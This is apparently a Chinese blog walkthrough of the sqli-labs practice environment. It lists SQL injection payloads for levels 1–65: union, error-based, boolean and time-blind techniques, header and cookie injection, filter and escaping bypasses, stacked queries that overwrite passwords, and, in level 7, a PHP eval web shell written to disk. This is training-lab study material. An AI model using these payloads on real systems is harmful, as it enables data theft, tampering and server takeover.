主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下。

环境初始界面如下:

sql注入流程语句:

  1. order by 3--+ #判断有多少列
  2. union select 1,2,3--+ #判断数据显示点
  3. union select 1,user(),database()--+ #显示出登录用户和数据库名
  4. union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3--+ #查看数据库有哪些表
  5. #查看对应表有哪些列
  6. union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3--+
  7. union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3--+ #查看账号密码信息
  8. union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入,中间的database()可以替换上面的语句
  9. and (length(database()))=8 #bool注入
  • less-1:基于单引号的字符型注入
  1. 注入点语句格式:id=1' and 1=1 -- #判断方式输入'''两次的结果不一致,就可能是'闭合

  • less-2:布尔型注入
  1. 注入点语句格式:id=1 and 1=1 --+

  • less-3:基于')的字符型注入
  1. 注入点语句格式:id=1') and 1=1 --+ #根据第一关的判断方式基本可以断定和'有关,但是是失败的,然后就想到了)闭合

  • less-4:基于")字符型注入
  1. 注入点语句格式:id=1') and 1=1 --+ #测试回显数据时前面参数修改为0

  • less-5:基于'字符型的错误回显注入

对于这种只返回成功或失败的只能采取报错注入或bool注入的方式

  1. 注入点语句格式11' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入
  2. 注入点语句格式2:1' and length(database())=8--+ #bool注入

  • less-6:基于"字符型的错误回显注入
  1. 注入点语句格式11" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #报错注入
  2. 注入点语句格式2:1' and length(database())=8--+ #bool注入

  • less-7:文件读写注入
  1. 注入点语句格式:1')) UNION SELECT 1,"<?php eval($_REQUEST[upfine]); ?>",3 into outfile "d:\\upfine.php"--+
  2. #需要开启数据库的写入权限,即secure_file_priv无属性值(不是NULL),可通过:show global variables like '%secure%';查看

  • 8-less:基于'的布尔注入
  1. 注入点语句格式:1' and length(database())=8 --+ #对于这种只返回成功与否的可以考虑报错注入

  • 9-less:基于'的时间盲注
  1. 注入点语句格式:1' and if(length(database())>3,sleep(5),1)--+ #sleep被过滤的时候可以通过具有一定计算时间的函数进行替代

  • 10-less:基于"的时间盲注
  1. 注入点语句格式:1" and if(length(database())>3,sleep(5),1)--+ #sleep被过滤的时候可以通过具有一定计算时间的函数进行替代

  • 11-less:基于'的POST型注入
  1. 注入点语句格式1username:1' or '1'='1 passwd:1' or '1'='1
  2. 注入点语句格式2username1' or 1=1#
  3. 注入点语句格式3:username:\ passwd:or 1=1# #此原理利用的是转义服务端语句中的闭合符号成为name值的一部分

  • 12-less:基于")的POST型注入
  1. 注入点语句格式1username1") or 1=1#

  • 13-less:基于')的错误回显注入
  1. 注入点语句格式:username1') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  • 14-less:基于"的报错注入
  1. 注入语句格式:username1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  • 15-less:基于'的延时注入和bool注入
  1. 注入语句格式1usernameadmin' and if(length(database())>3,sleep(5),1)# #测试时用户名必须存在
  2. 注入语句格式2:username:1' or length(database())>3# #bool注入

  • 16-less:基于")的延时注入和bool注入
  1. 注入语句格式1usernameadmin") and if(length(database())>3,sleep(5),1)# #测试时用户名必须存在
  2. 注入语句格式2:username:1") or length(database())>3# #bool注入

  • 17-less:基于'的密码报错注入和bool注入
  1. 注入语句格式1unameadmin passwd12' where length(database())>3# #bool注入
  2. 注入语句格式2:uname:admin passwd:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))# #报错注入

  • 18-less:基于'的User-Agent:报头文报错注入

这一个关卡需要登录成功才会显示user-agent信息(审计源代码信息)

  1. 注入语句格式1User-Agent: ',updatexml(1,concat(0x7e,database(),0x7e),1),1)#或者',1,updatexml(1,concat(0x7e, database(),0x7e),1))# #报错注入,主要是形成insert语句的闭合
  2. 注入语句格式2User-Agent: ',1,if(length(database())>3,sleep(10),1))# #延时注入

  • 19-less:基于'的Referer:报头文报错注入
  1. 注入语句格式1Referer:',updatexml(1,concat(0x7e,database(),0x7e),1))# #报错注入
  2. 注入语句格式2:Referer:',if(length(database())>3,sleep(10),1))# #延时注入

  • 20-less:基于'的cookie报错注入和延时注入
  1. 注入语句格式1Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1))# #报错注入
  2. 注入语句格式2:Cookie: uname=admin' and if(length(database())>3,sleep(10),1)# #延时注入

  • 21-less:基于')的cookie信息(加密)注入(联合注入和报错注入)

需要对代码进行审计,在代码中发现对cookee获取的数据进行解码后直接带入了查询,代码信息如下:

  1. 主语语句格式1Cookieuname=') union select 1,2,3# payload:Cookie:uname=JykgdW5pb24gc2VsZWN0IDEsMiwzIw== #联合注入
  2. 注入语句格式2:Cookie: uname=') and (updatexml(1,concat(0x7e,user(),0x7e),1))# payloadCookieuname=JykgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx1c2VyKCksMHg3ZSksMSkpIw== #报错注入

  • 22-less:基于"字符型的Cookie注入

同样是审查源代码,步骤同21-less。

  1. 主语语句格式1Cookieuname=" union select 1,2,3# payload:Cookie:uname= #联合注入
  2. 注入语句格式2:Cookie: uname=" and (updatexml(1,concat(0x7e,user(),0x7e),1))# payloadCookieuname=IiBhbmQgKHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHVzZXIoKSwweDdlKSwxKSkj #报错注入

  • 23-less:过滤注释符#和--+的GET型注入
  1. 注入语句格式1Cookieuname=0' union select 1,2,'3 #联合注入 这里注意下第三个参数返回值就是'内的值,而非执行的结果

24-less:环境错误,一直出来修改密码界面,先放一放

  • 25-less:过滤or和and的单引号注入
  1. 注入语句格式10' union select 1,2,3--+ #涉及到or和and的双写绕过即可:payload:1' anandd 1=1--+或2 oorr 1=1
  2. 注入语句格式21'anandd((length(database())>3))anandd'1'='1 #bool注入
  3. 注入语句格式31'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1 #延时注入
  4. 注入语句格式40'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1 #报错注入

  • 25a-less:过滤or和and的数字型注入
  1. 注入语句格式10 union select 1,2,3--+ #涉及到or和and的双写绕过即可:payload:1 anandd 1=1--+或2 oorr 1=1
  2. 注入语句格式21%a0anandd((length(database())>3))anandd%a01=1 #bool注入
  3. 注入语句格式31%a0anandd(if(length(database())>3,sleep(10),1))anandd%a01%a0=%a01 #延时注入
  4. 注入语句格式40%a0anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd%a01%a0=%a01 #报错注入

  • 26-less:基于'过滤注释、空格、or、and、--、#等的注入
  1. 注入语句格式12'oorr'1'='1 #确定注入点,注意第一个数字是2,返回的确实数字为1的结果,所以后面语句生效
  2. 注入语句格式20'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1 #报错注入
  3. 注入语句格式31'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1 #延时注入
  4. 注入语句格式41'anandd((length(database())>3))anandd'1'='1 #bool注入

  • 26a-less:基于')过滤注释、空格、or、and、--、#等的注入
  1. 注入语句格式11')anandd(if(length(database())>3,sleep(10),1))anandd('1')=('1 #延时注入
  2. 注入语句格式21')union%a0select%a01,2,3%a0anandd('1')=('1 #联合注入
  3. 注入语句格式31')anandd((length(database())>3))anandd('1')=('1 #bool注入

  • 27-less:基于'过滤union、select、注释、空格等的注入
  1. 注入语句格式10'and(updatexml(1,concat(0x7e,user(),0x7e),1))and'1'='1 #报错注入
  2. 注入语句格式21'and(if(length(database())>3,sleep(10),1))and'1'='1 #延时注入
  3. 注入语句格式31'and((length(database())>3))and'1'='1 #bool注入
  4. 注入语句格式40'%a0ununionion%a0selselectECT%a01,2,'3 #联合注入

  • 27a-less:基于"过滤union、select、注释、空格等的注入
  1. 注入语句格式:1"and((length(database())>3))and"1"="1 #bool注入
  2. 注入语句格式21"and(if(length(database())>3,sleep(10),1))and"1"="1 #延时注入

  • 28-less:基于')过滤空格的注入
  1. 注入语句格式10')union%a0select%a01,2,('3 #联合注入
  2. 注入语句格式21')and((length(database())>3))and('1')=('1 #bool注入

  • 28a-less:基于')过滤空格的注入
  1. 注入语句格式10')union%a0select%a01,2,('3 #联合注入
  2. 注入语句格式21')and((length(database())>3))and('1')=('1 #bool注入

29、30、31关卡需要先搭建jsp环境

jspstudy下载连接:https://www.xp.cn/download.html,根据提示进行安装即可,安装完成后在其他选项菜单中点击站点域名管理,然后进行保存并生成配置文件(这里注意下目录,如果错误导致服务启动不了,则去对应服务中的配置文件中修改下目录即可),注意修改apache、mysql、tomcat的端口,不要与phpstudy的端口冲突,这三个关卡需要同时启动jspstudy和phpstudy,最后环境搭建成功结果如下:

  • 29-less:基于'的http请求的参数污染注入
  1. 注入语句格式1:?id=1&id=0' union select 1,2,3--+ #联合注入
  2. 注入语句格式2:?id=1&id=0'and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入

  • 30-less:基于"的http请求的参数污染注入
  1. 注入语句格式1:?id=1&id=0" union select 1,2,3--+ #联合注入

  • 31-less:基于")的http请求的参数污染注入
  1. 注入语句格式1:?id=1&id=0") union select 1,2,3--+ #联合注入

  • 32-less:宽字节注入:源于程序员设置MySQL连接时的错误配置(set character_set_client=gbk,导致%df%27变成了運)
  1. 注入语句格式1:?id=-1%df' union select 1,2,3--+ #宽字节注入

  • 33-less:get型宽字节注入(addslashes函数过滤)
  1. 注入语句格式1:?id=-1%df' union select 1,2,3--+ #宽字节注入

  • 34-less:post型宽字节注入
  1. 注入语句格式1uname=a%df' union select 1,2#&passwd=admin&submit=Submit #宽字节注入
  2. 说明:这里是根据页面是正常回显和报错来判断注入语句是否正确的
  3. 例如:
  4. uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显是攻击
  5. uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显是报错

  • 35-less:数值型注入(对'等字符进行了转义,但是数值型注入与'无关)
  1. 注入语句格式1:?id=0 union select 1,2,3--+ #联合注入

  • 36-less:宽字节注入(Bypass MySQL Real Escape String)
  1. 注入语句格式1:?id=0%df' union select 1,2,3--+ #宽字节注入

  • 37-less:post宽字节注入(MySQL_real_escape_string)
  1. 注入语句格式1uname=a%df' union select 1,2#&passwd=admin&submit=Submit #宽字节注入
  2. 说明:这里是根据页面是正常回显和报错来判断注入语句是否正确的
  3. 例如:
  4. uname=a%df' order by 2 #&passwd=admin&submit=Submit #回显是攻击
  5. uname=a%df' order by 3 #&passwd=admin&submit=Submit #回显是报错

  • 38-less:基于'闭合的堆叠注入
  1. 注入语句格式1:?id=0%27union%20select%201,2,3--+ #联合注入
  2. 注入语句格式2:?id=1%27;update users set password='@upfine' where username='Dumb';--+ #堆叠注入 后面可替换sql语句

  • 39-less:基于数字型的堆叠注入
  1. 注入语句格式1:?id=0 union%20select%201,2,3--+ #联合注入
  2. 注入语句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入 后面可替换sql语句

  • 40-less:基于')闭合的堆叠注入
  1. 注入语句格式1:?id=0') union%20select%201,2,3--+ #联合注入
  2. 注入语句格式2:?id=1');update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 41-less:基于数字型的堆叠注入
  1. 注入语句格式1:?id=0 union select 1,2,3--+ #联合注入
  2. 注入语句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 42-less:基于'闭合的post提交方式的堆叠注入
  1. 注入语句格式1login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入

  • 43-less:基于')闭合的post提交方式的堆叠注入
  1. 注入语句格式1login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入

  • 44-less:基于'闭合的post提交方式的堆叠注入
  1. 注入语句格式1login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入

  • 45-less:基于')的post提交方式的堆叠注入
  1. 注入语句格式1login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login #堆叠注入

  • 46-less:order by函数基于数字型的注入
  1. 注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入 延时时间为数据量*延时时间,因此可写0.2或0.3,下面相同关卡此处一样
  2. 注入语句格式2:?sort=updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入

  • 47-less:order by函数基于字符型'闭合的注入
  1. 注入语句格式1:?sort='updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
  2. 注入语句格式2:?sort=1'and if(length(database())>3,sleep(1),1)--+ #延时注入 可将判断条件换成substr(database(),1,1)='s'之类的

  • 48-less:order by函数基于数字型的注入(去掉了报错回显)
  1. 注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入 延时时间比写的时间长很多,原因同上

  • 49-less:order by函数基于字符型'闭合的注入(去掉了报错回显)
  1. 注入语句格式1:?sort=1'and if(length(database())>3,sleep(1),1)--+ #延时注入 可将判断条件换成substr(database(),1,1)='s'之类的

  • 50-less:order by基于数字的堆叠注入
  1. 注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入
  2. 注入语句格式2:?sort=1 and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
  3. 注入语句格式3:?sort=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 51-less:order by基于'闭合的堆叠注入
  1. 注入语句格式1:?sort=1' and updatexml(1,concat(0x5e,database(),0x5e),3)--+ #报错注入
  2. 注入语句格式2:?sort=1';update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 52-less:order by基于数字的堆叠注入(去掉报错注入)
  1. 注入语句格式1:?sort=If(length(database())>3,sleep(1),1)--+ #延时注入
  2. 注入语句格式2:?sort=1;update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 53-less:order by基于'闭合的堆叠注入(去掉报错注入)
  1. 注入语句格式1:?sort=1';update users set password='@upfine' where username='Dumb';--+ #堆叠注入

  • 54-less:基于'闭合的union注入
  1. 注入过程
  2. 1'--+ #判断闭合方式
  3. 1' order by 3--+ #判断有多少列
  4. 0' union select 1,2,3--+ #判断数据显示点
  5. 0' union select 1,user(),database()--+ #显示出登录用户和数据库名
  6. 0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
  7. #查看对应表有哪些列
  8. 0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
  9. 0' union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 55-less:基于)闭合的union注入
  1. 注入过程
  2. 1)--+ #判断闭合方式
  3. 1) order by 3--+ #判断有多少列
  4. 0) union select 1,2,3--+ #判断数据显示点
  5. 0) union select 1,user(),database()--+ #显示出登录用户和数据库名
  6. 0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
  7. #查看对应表有哪些列
  8. 0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
  9. 0) union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 56-less:基于')闭合的union注入
  1. 注入过程
  2. 1')--+ #判断闭合方式
  3. 1') order by 3--+ #判断有多少列
  4. 0') union select 1,2,3--+ #判断数据显示点
  5. 0') union select 1,user(),database()--+ #显示出登录用户和数据库名
  6. 0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
  7. #查看对应表有哪些列
  8. 0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
  9. 0') union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 57-less:基于"闭合的union注入
  1. 注入过程
  2. 1"--+ #判断闭合方式
  3. 1" order by 3--+ #判断有多少列
  4. 0" union select 1,2,3--+ #判断数据显示点
  5. 0" union select 1,user(),database()--+ #显示出登录用户和数据库名
  6. 0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+ #查看数据库有哪些表
  7. #查看对应表有哪些列
  8. 0" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
  9. 0" union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 58-less:基于'闭合得报错注入
  1. 注入过程
  2. 1'--+ #判断闭合方式
  3. 0' and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
  4. 0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
  5. 0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
  6. 0' and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
  7. #updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 59-less:基于数字型得报错注入
  1. 注入过程
  2. 1--+#判断闭合方式
  3. 0 and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
  4. 0 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
  5. 0 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
  6. 0 and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
  7. #updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 60-less:基于")闭合的报错注入
  1. 注入过程
  2. 1")--+#判断闭合方式
  3. 0") and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
  4. 0") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
  5. 0") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
  6. 0") and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
  7. #updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 61-less:基于'))闭合的报错注入
  1. 注入过程
  2. 1'))--+#判断闭合方式
  3. 0')) and updatexml(1,concat(0x5e,database(),0x5e),x) --+ #数据库名
  4. 0')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
  5. 0')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
  6. 0')) and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+
  7. #updatexml函数只能返回32位数据,可以结合substr函数或倒叙其内容

  • 62-less:基于')闭合的bool注入
  1. 注入过程
  2. 1')--+#判断闭合方式
  3. 1') and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
  4. 1') and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
  5. 1') and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
  6. 1') and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
  7. 1') and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
  8. #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

  • 63-less:基于'闭合的bool注入
  1. 注入过程
  2. 1'--+#判断闭合方式
  3. 1' and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
  4. 1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
  5. 1' and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
  6. 1' and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
  7. 1' and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
  8. #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

  •  64-less:基于))闭合的bool注入
  1. 注入过程
  2. 1))--+#判断闭合方式
  3. 1)) and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
  4. 1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
  5. 1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
  6. 1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
  7. 1)) and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
  8. #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

  •  65-less:基于")闭合的bool注入
  1. 注入过程
  2. 1))--+#判断闭合方式
  3. 1)) and substr(database(),1,1)='c'--+ #使用脚本获取数据库名 脚本可以参考:https://www.cnblogs.com/upfine/p/16556520.html
  4. 1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #获取表明
  5. 1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+ #获取列明
  6. 1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+ #获取数据
  7. 1") and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+ #可用于验证
  8. #上面步骤中省略掉了判断数据的长度、列的长度、列的数量、表的长度等步骤,修改为length()函数即可

SQL注入篇——sqli-labs各关卡方法介绍|1-65的更多相关文章

  1. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  2. Java审计之SQL注入篇

    Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ...

  3. [转载] 我的WafBypass之道(SQL注入篇)

    我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区   2016-11-23  7,566   [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan97 ...

  4. sql注入篇2

    一.前言 上一篇:sql注入篇1 二.基于回显的注入类型判断 1.有结果的注入 例如下图: (sqlllab less-1)可以看到有正常结果返回,对于的利用方式就是老套路了,先order by查询出 ...

  5. sql注入篇1

    一.前言 学习了感觉很久的渗透,总结一下sql注入,系统整理一下sql注入思路. 二.关于sql注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到 ...

  6. SQL Server中解决死锁的新方法介绍

    SQL Server中解决死锁的新方法介绍 数据库操作的死锁是不可避免的,本文并不打算讨论死锁如何产生,重点在于解决死锁,通过SQL Server 2005, 现在似乎有了一种新的解决办法. 将下面的 ...

  7. ORACLE PL/SQL 中序列(sequence)的简易使用方法介绍

    如果我是C罗 原文 ORACLE PL/SQL 中序列(sequence)的简易使用方法介绍 sequence在ORACLE中应用十分广泛,就是序列号的意思,会自动增加指定变数,如逐次增加1或者2或者 ...

  8. SQL注入篇——sqli-labs各关卡方法介绍

    主要是记下来了每关通过可以采用的注入方式,可能部分关卡的通关方式写的不全面,欢迎指出,具体的获取数据库信息请手动操作一下. 环境初始界面如下: sql注入流程语句: order by 3--+ #判断 ...

  9. Sql server之sql注入篇

    SQL Injection 关于sql注入的危害在这里就不多做介绍了,相信大家也知道其中的厉害关系.这里有一些sql注入的事件大家感兴趣可以看一下 防范sql注入的方法无非有以下几种: 1.使用类型安 ...

随机推荐

  1. 如何借助Chrome Tool Dev 帮助前端开发

    11111111111111111111111111111111111111111111111111

  2. 【python】下载中国大学MOOC的视频

    [python]下载中国大学MOOC的视频 脚本目标: 输入课程id和cookie下载整个课程的视频文件,方便复习时候看 网站的反爬机制分析: 分析数据包的目的:找到获取m3u8文件的路径 1. 从第 ...

  3. 在矩池云使用Disco Diffusion生成AI艺术图

    在 Disco Diffusion 官方说明的第一段,其对自身是这样定义: AI Image generating technique called CLIP-Guided Diffusion.DD ...

  4. 【一知半解】AQS

    什么是AbstractQueuedSynchronizer(AQS) 字面意思是抽象队列同步器,使用一个voliate修饰的int类型的同步状态,通过一个FIFO队列完成资源获取的排队工作,把每个参与 ...

  5. 2022-07-09 第六组 润土 CSS学习笔记

    HTML:用来描述网页的一种语言. 超文本语言.动画.音频.视频.特效.超链. 用标签定义网页 浏览器 流行浏览器: IE微软宣布永久关闭 firefox火狐 Chrom谷歌 Sarifi vscod ...

  6. 超酷炫的转场动画?CSS 轻松拿下!

    在 WeGame 的 PC 端官网首页,有着非常多制作精良的基于滚动的动画效果. 这里我简单截取其中 2 个比较有意思的转场动画,大家感受感受.转场动画 1: 转场动画 2: 是不是挺有意思的,整个动 ...

  7. Airbnb的动态kubernetes集群扩缩容

    Airbnb的动态kubernetes集群扩缩容 本文介绍了Airbnb的集群扩缩容的演化历史,以及当前是如何通过Cluster Autoscaler 实现自定义扩展器的.最重要的经验就是Airbnb ...

  8. 操作表查询&操作表创建&操作表删除&操作表修改

    2.操作表 C(create):创建 语法: create table 表明( 列名1 数据类型1, 列名2 数据烈性2, .... 列名n 数据类型n ); create table Student ...

  9. linux docker .net core 从建立网站到预览

    docker的安装在网上一搜一大把,windows安装的就是exe双击,linux安装需要执行语句 ps:需要准备xftp.xshell.vs 2019.linux服务器.docker账号密码 例如: ...

  10. 哈工大软件构造Lab3(2022)

    (防扒小助手) 本人CSDN博客: https://blog.csdn.net/m0_61753302 本人博客园博客(同步CSDN): 何以牵尘 - 博客园 (cnblogs.com)https:/ ...